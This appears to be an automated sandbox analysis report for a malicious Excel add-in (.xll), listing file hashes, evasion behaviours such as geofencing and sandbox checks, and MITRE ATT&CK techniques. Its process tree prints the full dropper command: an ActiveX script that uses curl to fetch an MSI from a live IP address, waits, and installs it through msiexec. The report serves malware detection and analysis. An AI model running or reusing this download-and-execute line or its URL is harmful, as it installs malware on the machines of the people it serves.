936159194eb4556c0a4e146e9aca2abd458330c921c473e95fffe07fd3a7bc01

General

Target

936159194eb4556c0a4e146e9aca2abd458330c921c473e95fffe07fd3a7bc01.xll
Size

50KB
MD5

ecd7149f02821c30e79b67737b2b5e31
SHA1

b2a1a29ae4445f6f98851f32b6641a0aaac51a57
SHA256

936159194eb4556c0a4e146e9aca2abd458330c921c473e95fffe07fd3a7bc01
SHA512

910508e9a26a740710fa4b470d39eafa756bad01e76a31f1c7785e5ba590d33f7a9e33bbdd62dc504e2febd4be75993b2c394d7aaccbc9ce33bf0c7f32212456
SSDEEP

1536:uUK23Jsm6Nh5wF3s8KjrtN/5TqRGiNwmU2x0QNY:eCsNh5wF3s8KXHRTviNnAuY

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000\Control Panel\International\Geo\Nation	me.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
3224	me.exe

Loads dropped DLL 2 IoCs

pid	Process
3516	EXCEL.EXE
3516	EXCEL.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3860	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3516	EXCEL.EXE

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3424	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3424	msiexec.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
3516	EXCEL.EXE
3516	EXCEL.EXE
3424	msiexec.exe
3424	msiexec.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
3516	EXCEL.EXE
3516	EXCEL.EXE
3516	EXCEL.EXE
3516	EXCEL.EXE
3516	EXCEL.EXE
3516	EXCEL.EXE
3516	EXCEL.EXE
3516	EXCEL.EXE
3516	EXCEL.EXE
3516	EXCEL.EXE
3516	EXCEL.EXE
3516	EXCEL.EXE

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3516 wrote to memory of 3224	3516	EXCEL.EXE	89
PID 3516 wrote to memory of 3224	3516	EXCEL.EXE	89
PID 3224 wrote to memory of 2424	3224	me.exe	93
PID 3224 wrote to memory of 2424	3224	me.exe	93
PID 2424 wrote to memory of 5004	2424	cmd.exe	95
PID 2424 wrote to memory of 5004	2424	cmd.exe	95
PID 2424 wrote to memory of 3860	2424	cmd.exe	97
PID 2424 wrote to memory of 3860	2424	cmd.exe	97
PID 2424 wrote to memory of 3424	2424	cmd.exe	101
PID 2424 wrote to memory of 3424	2424	cmd.exe	101

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\936159194eb4556c0a4e146e9aca2abd458330c921c473e95fffe07fd3a7bc01.xll"
1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3516
- C:\Users\Public\me.exe
  C:\Users\Public\me.exe about:"<script>var b = new ActiveXObject("wscript.shell"); b.run('cmd /c C:\\Windows\\system32\\curl.exe -o c:\\users\\public\\1.msi http://94.228.169.123/7qA/123&&timeout 10&&c:\\users\\public\\1.msi', 0); window.close();</script>"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3224
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c C:\Windows\system32\curl.exe -o c:\users\public\1.msi http://94.228.169.123/7qA/123&&timeout 10&&c:\users\public\1.msi
    3⤵
    - Checks computer location settings
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:2424
  - - C:\Windows\system32\curl.exe
      C:\Windows\system32\curl.exe -o c:\users\public\1.msi http://94.228.169.123/7qA/123
      4⤵
      PID:5004
  - - C:\Windows\system32\timeout.exe
      timeout 10
      4⤵
      Delays execution with timeout.exe
      PID:3860
  - - C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\users\public\1.msi"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:3424

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\936159194eb4556c0a4e146e9aca2abd458330c921c473e95fffe07fd3a7bc01.xll

Filesize
50KB

MD5
ecd7149f02821c30e79b67737b2b5e31

SHA1
b2a1a29ae4445f6f98851f32b6641a0aaac51a57

SHA256
936159194eb4556c0a4e146e9aca2abd458330c921c473e95fffe07fd3a7bc01

SHA512
910508e9a26a740710fa4b470d39eafa756bad01e76a31f1c7785e5ba590d33f7a9e33bbdd62dc504e2febd4be75993b2c394d7aaccbc9ce33bf0c7f32212456

Download Submit
C:\Users\Admin\AppData\Local\Temp\936159194eb4556c0a4e146e9aca2abd458330c921c473e95fffe07fd3a7bc01.xll

Filesize
50KB

MD5
ecd7149f02821c30e79b67737b2b5e31

SHA1
b2a1a29ae4445f6f98851f32b6641a0aaac51a57

SHA256
936159194eb4556c0a4e146e9aca2abd458330c921c473e95fffe07fd3a7bc01

SHA512
910508e9a26a740710fa4b470d39eafa756bad01e76a31f1c7785e5ba590d33f7a9e33bbdd62dc504e2febd4be75993b2c394d7aaccbc9ce33bf0c7f32212456

Download Submit
C:\Users\Public\me.exe

Filesize
14KB

MD5
0b4340ed812dc82ce636c00fa5c9bef2

SHA1
51c97ebe601ef079b16bcd87af827b0be5283d96

SHA256
dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

SHA512
d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

Download Submit
C:\Users\Public\me.exe

Filesize
14KB

MD5
0b4340ed812dc82ce636c00fa5c9bef2

SHA1
51c97ebe601ef079b16bcd87af827b0be5283d96

SHA256
dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

SHA512
d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

Download Submit
memory/3516-6-0x00007FFA39EF0000-0x00007FFA39F00000-memory.dmp

Filesize
64KB

Download
memory/3516-4-0x00007FFA39EF0000-0x00007FFA39F00000-memory.dmp

Filesize
64KB

Download
memory/3516-0-0x00007FFA39EF0000-0x00007FFA39F00000-memory.dmp

Filesize
64KB

Download
memory/3516-7-0x00007FFA79E70000-0x00007FFA7A065000-memory.dmp

Filesize
2.0MB

Download
memory/3516-8-0x00007FFA79E70000-0x00007FFA7A065000-memory.dmp

Filesize
2.0MB

Download
memory/3516-9-0x00007FFA79E70000-0x00007FFA7A065000-memory.dmp

Filesize
2.0MB

Download
memory/3516-10-0x00007FFA79E70000-0x00007FFA7A065000-memory.dmp

Filesize
2.0MB

Download
memory/3516-11-0x00007FFA37CD0000-0x00007FFA37CE0000-memory.dmp

Filesize
64KB

Download
memory/3516-12-0x00007FFA79E70000-0x00007FFA7A065000-memory.dmp

Filesize
2.0MB

Download
memory/3516-13-0x00007FFA79E70000-0x00007FFA7A065000-memory.dmp

Filesize
2.0MB

Download
memory/3516-15-0x00007FFA37CD0000-0x00007FFA37CE0000-memory.dmp

Filesize
64KB

Download
memory/3516-5-0x00007FFA79E70000-0x00007FFA7A065000-memory.dmp

Filesize
2.0MB

Download
memory/3516-3-0x00007FFA39EF0000-0x00007FFA39F00000-memory.dmp

Filesize
64KB

Download
memory/3516-2-0x00007FFA79E70000-0x00007FFA7A065000-memory.dmp

Filesize
2.0MB

Download
memory/3516-1-0x00007FFA39EF0000-0x00007FFA39F00000-memory.dmp

Filesize
64KB

Download
memory/3516-42-0x00007FFA39EF0000-0x00007FFA39F00000-memory.dmp

Filesize
64KB

Download
memory/3516-43-0x00007FFA39EF0000-0x00007FFA39F00000-memory.dmp

Filesize
64KB

Download
memory/3516-45-0x00007FFA79E70000-0x00007FFA7A065000-memory.dmp

Filesize
2.0MB

Download
memory/3516-44-0x00007FFA39EF0000-0x00007FFA39F00000-memory.dmp

Filesize
64KB

Download
memory/3516-46-0x00007FFA39EF0000-0x00007FFA39F00000-memory.dmp

Filesize
64KB

Download
memory/3516-47-0x00007FFA79E70000-0x00007FFA7A065000-memory.dmp

Filesize
2.0MB

Download
memory/3516-48-0x00007FFA79E70000-0x00007FFA7A065000-memory.dmp

Filesize
2.0MB

Download
memory/3516-49-0x00007FFA79E70000-0x00007FFA7A065000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads